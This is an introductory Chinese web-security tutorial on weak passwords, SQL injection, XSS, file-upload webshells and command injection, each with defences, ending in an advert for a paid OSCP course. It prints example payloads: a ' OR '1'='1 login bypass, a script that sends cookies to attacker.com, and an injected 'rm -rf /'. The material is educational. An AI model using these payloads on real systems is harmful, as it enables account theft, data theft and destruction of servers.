弱口令與密碼安全問題
THINKMO
01
暴力破解登錄(Weak Password Attack)
在某次滲透測試中,測試人員發現一個網站的后臺管理系統使用了非常簡單的密碼 admin123,而且用戶名也是常見的 admin。那么攻擊者就可以通過暴力破解工具,使用最簡單的字典攻擊方式遍歷嘗試大量常見密碼,這么簡單的密碼,攻擊者幾乎可以瞬間測試成功,然后登錄到你們的后臺。
那么攻擊者測試出密碼之后,危害自然是不言而喻的。
危害
攻擊者可以通過后臺訪問和控制系統,執行任意操作,包括刪除數據、篡改網站內容、盜取用戶數據等。
而且一旦獲取了管理員權限,攻擊者可能進一步執行惡意代碼,甚至對整個服務器進行控制。
如何防護?
1.使用復雜密碼:密碼應該包含字母、數字和特殊符號,長度建議不少于12位。
2.啟用多因素認證(MFA):即使密碼泄露,攻擊者也無法輕易突破。
3.定期更新密碼:定期更新密碼,避免長期使用同一密碼。
SQL注入(SQL lnjection)
THINKMO
02
02
使用SQL注入攻擊獲取用戶信息
某電商平臺存在一個用戶登錄接口,用戶的用戶名和密碼通過 URL 參數傳遞給后端進行查詢。攻擊者構造惡意 URL,比如使用常見的 ' OR '1'='1 作為用戶名和密碼傳入:
http://example.com/login?username=admin' OR '1'='1'&password=' OR '1'='1
那么后臺的 SQL 查詢語句就是這樣構造的:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';
由于 '1'='1'?始終為真,查詢結果將返回所有用戶的數據,這就意味著攻擊者可以拿到這個用戶的密碼。
危害
攻擊者可以竊取到所有用戶的信息,包括用戶名、密碼和其他敏感數據。
對于攻擊者拿到的用戶如果沒有有效的權限控制,攻擊者甚至可以篡改數據庫內容,刪除或添加數據。
防護要點
1.使用預處理語句(Prepared Statements):例如在 PHP 中使用 PDO 或 MySQLi 來執行 SQL 查詢,防止 SQL 注入。
示例:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
2.輸入驗證和過濾:確保用戶輸入的數據經過過濾和轉義,特別是特殊字符(如 '、"、--)需要轉義。
跨站腳本攻擊(XSS)
THINKMO
03
03
惡意腳本竊取用戶Cookie
某社交網站允許用戶輸入自己的昵稱和個人簽名,并在頁面上顯示出來。攻擊者在昵稱輸入框中輸入如下內容:
<script>document.location='http://attacker.com?cookie=' + document.cookie;</script>
當正常用戶訪問該頁面時,嵌入的 JavaScript 腳本會執行,將用戶的 Cookie 信息發送到攻擊者指定的服務器上,攻擊者就能竊取到用戶的登錄信息。
危害
攻擊者能夠竊取用戶的登錄信息、會話 Token 等敏感信息。
若攻擊者竊取到管理員的 Cookie,可能獲得管理權限,導致系統被完全控制。
防護要點
1.輸出編碼:在將用戶輸入內容插入頁面時,應該對輸入內容進行 HTML 編碼,防止腳本執行。
示例:使用 htmlspecialchars()?函數將特殊字符轉義。
echo htmlspecialchars($user_input);
2.輸入驗證:對于所有用戶輸入的內容進行嚴格驗證,尤其是腳本標簽、<script>、<img>、<iframe>?等 HTML 標簽。
3.啟用 Content Security Policy(CSP):CSP 可限制瀏覽器加載腳本的來源,進一步減少 XSS 攻擊的風險。
文件上傳漏洞
THINKMO
04
04
上傳WebShell獲得服務器控制
某應用系統允許用戶上傳圖片作為個人頭像。攻擊者通過上傳一個惡意的 .php 文件(比如 shell.php),并通過修改文件擴展名使其看似正常的圖片文件(如 .jpg),成功上傳到服務器。
上傳后的文件可以通過 URL 訪問,比如攻擊者通過訪問 http://example.com/uploads/shell.php,從而獲得服務器的控制權限。
危害
攻擊者通過 WebShell 獲得了對服務器的完全控制,可以執行任意命令,篡改文件、盜取數據或進行進一步的攻擊。
可能導致數據泄露、業務中斷或系統被黑客控制。
防護要點
1.限制文件類型:對上傳的文件類型進行嚴格檢查,僅允許上傳特定類型的文件(如 .jpg、.png?等)。
2.文件名檢查:對于上傳文件的文件名進行驗證,禁止包含特殊字符(如 .php、%?等)。
3.限制文件權限:確保上傳的文件不具有執行權限,可以通過修改文件目錄的權限來實現。
命令注入漏洞(Command Injection)
THINKMO
05
05
命令注入導致系統控制
某網站的管理后臺提供了“服務器狀態”查看功能,用戶可以選擇某個服務器并查詢其狀態。后臺的實現代碼直接將用戶輸入拼接到系統命令中:
ping -c 4 $user_input
攻擊者通過輸入 ; rm -rf /,成功將惡意命令注入:
ping -c 4 ; rm -rf /
該命令會首先執行 ping 操作,然后執行 rm -rf /?命令,刪除服務器上的所有文件。
危害
攻擊者可以在服務器上執行任意命令,可能導致系統崩潰或完全喪失數據。
如果攻擊者具有足夠的權限,還可以篡改系統配置,竊取敏感信息。
防護要點
1.禁止直接執行用戶輸入的命令:不要直接將用戶輸入用于構造系統命令。
2.輸入驗證與過濾:對用戶輸入進行嚴格的驗證,確保只允許預期的輸入類型。
3.最小權限原則:確保應用程序運行時的權限有限,避免執行敏感操作。
這幾個是網絡安全滲透測試中常見的漏洞,每一種漏洞都有獨特的攻擊方式,但是也都有防護措施,我們要理解和掌握這些漏洞的原理和防護技巧,從而才能用來攻擊或者防御,這幾種攻擊是啟蒙網絡安全最基本的幾個漏洞,有興趣可以學習一下。
五、OSCP
OSCP是Kali官方推出的一個認證,沒有要求考試的限制(成年即可),國際證書含金量 很高是業內紅隊最知名的滲透測試專業證書,相對來說獲得難度也高,但是相對于沒有基礎想借考OSCP練基礎能力、練滲透測試思維、練實戰的人來說也是友好的,我就是當時直接從web開始基礎沒咋練,就借著這OSCP去扎實的練扎實的學,拿到這個OSCP也就是有紅隊中級的實力的,到時如果找工作的話就碾壓同級拿nisp、cisp等等的,去考這些證書不如一步到位,因為瀧羽sec的小羽要考所以瀧哥就提前開了這OSCP培訓課,但是因為各種靶場各種理論太費時間壓力也很大所以才收費,但是價格也是很照顧我們了,那些機構1w+的培訓費用,瀧羽4000就可以,如果是學生的話提供證明還會優惠500,OSCP理論基礎靶場加官方靶場200+將自己的能力真實的得到練習,從信息收集到最終的權限提升,獨立機器環境、域環境全方位練習,小羽到時候先考,大家也不用慌張。現在nisp、cisp這些證書人手一個,現在最主要的就是拿到一個有競爭力的證書,與切實的技術與能力,否則在當前網絡行業越來越多人涌入的環境下,我們后面的路只會更緊張,所以OSCP越早拿越好,越早拿越吃香(oscp題目難度每年也會提高),如果有想了解瀧羽現在OSCP課程的可以聯系我。
六、總
在這條道路上雖說走了兩個半月,但是每天都在學習,每天都有收獲都感受到自己的提升,執行力是決定未來的真正因素,從學習者到一名分享者,然后到最后的開拓者,這是一件非常有意義的事情,不管是為自己還是為國為家都要從這條路上付出努力,成就未來。如果你也正在這條路上前行,不妨互相認識一下,互相學習、互相成長,大家都有著一個共同的目標,向著一個方向共同的努力,那這樣未來我國的網絡安全行業終究有我們的一席之地!未來世界網絡安全上也終究有中國的一席之地!
歡迎大家來認識我。